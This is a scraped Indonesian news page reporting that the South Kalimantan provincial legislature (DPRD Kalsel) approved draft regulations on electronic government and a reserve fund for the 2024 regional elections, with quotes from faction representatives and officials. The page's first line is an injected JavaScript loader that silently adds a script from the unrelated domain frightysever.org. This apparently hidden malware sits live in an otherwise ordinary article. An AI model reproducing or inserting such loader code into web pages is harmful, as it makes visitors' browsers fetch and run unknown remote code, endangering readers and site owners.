(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Dewan Setujui Raperda SPBE dan Dana Cadangan Pilkada 2024


KANALKALIMANTAN.COM, BANJARMASIN – Seluruh Fraksi DPRD Kalsel memberikan persetujuan terkait Rancangan Peraturan Daerah (Raperda) Penyelenggaraan Sistem Pemerintah Berbasis Elektronik (SPBE) dan Raperda Pembentukan Dana Cadangan Pilkada 2024 untuk ditetapkan menjadi Peraturan Daerah (Perda).

Hal itu terungkap dalam Rapat Paripurna DPRD Kalsel di Ruang Rapat H Mansyah, Kamis (22/7/21). Raperda mengenai dana cadangan Pilkada 2024 khususnya, merupakan usul Pemprov Kalsel.

Sebelumnya, Senin (19/7/21), Pj Gubernur Kalsel Safrizal ZA, menjelaskan Kalsel akan melaksanakan Pemilihan Kepala Daerah dan Wakil Kepala Daerah secara serentak pada tahun 2024. Hal demikian membutuhkan alokasi anggaran yang cukup besar, sehingga perlu persiapan mekanisme dana cadangan.

Menanggapi Raperda tersebut, seluruh Fraksi DPRD Kalsel menyatakan dukungannya. Perwakilan dari Partai Kebangkitan Bangsa, Suripno Sumas, juga menyampaikan beberapa saran.

 

 

Baca juga: WASPADA. Rekor Baru Covid-19 Kalsel Hari Ini Tembus 650 Orang, Banjarmasin Sumbang 245 Kasus!

“Jumlah yang dianggarkan harus proporsional sehingga tidak menimbulkan beban yang terlalu besar bagi APBD,” paparnya.

Terkait Raperda SPBE Aris Gunawan, perwakilan dari Partai Gerindra turut mengungkapkan dukungannya.

“Kami menyambut baik untuk dilaksanakan prinsip good governance,” ucapnya.

Sekdaprov Kalsel Roy Rizali Anwar, hadir mewakili Pj Gubernur Kalsel Safrizal ZA. Dalam rapat tersebut, juga disampaikan pendapat gubernur terhadap Raperda Manajemen Jalan dan Fasilitas Pendidikan Tinggi.

Menurut Roy Rizali, jika menyangkut kewenangan pemerintah pusat, maka arahan pemerintah pusat sangat diperlukan.

“Agar pada saat kedua Raperda ini ditetapkan menjadi Perda, benar-benar implementatif. Serta tidak menimbulkan tumpang tindih pengaturan dengan kebijakan pusat,” jelasnya.(Kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Risa

Recent Posts

Pj Bupati Erlin Hardi Berdialog dengan Mahasiswa Kapuas di Yogya

KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More

1 jam ago

Modus Pinjam Bendera Perusahaan Korupsi Proyek RS Kelua Tabalong

Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More

2 jam ago

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

15 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

16 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

16 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

17 jam ago

This website uses cookies.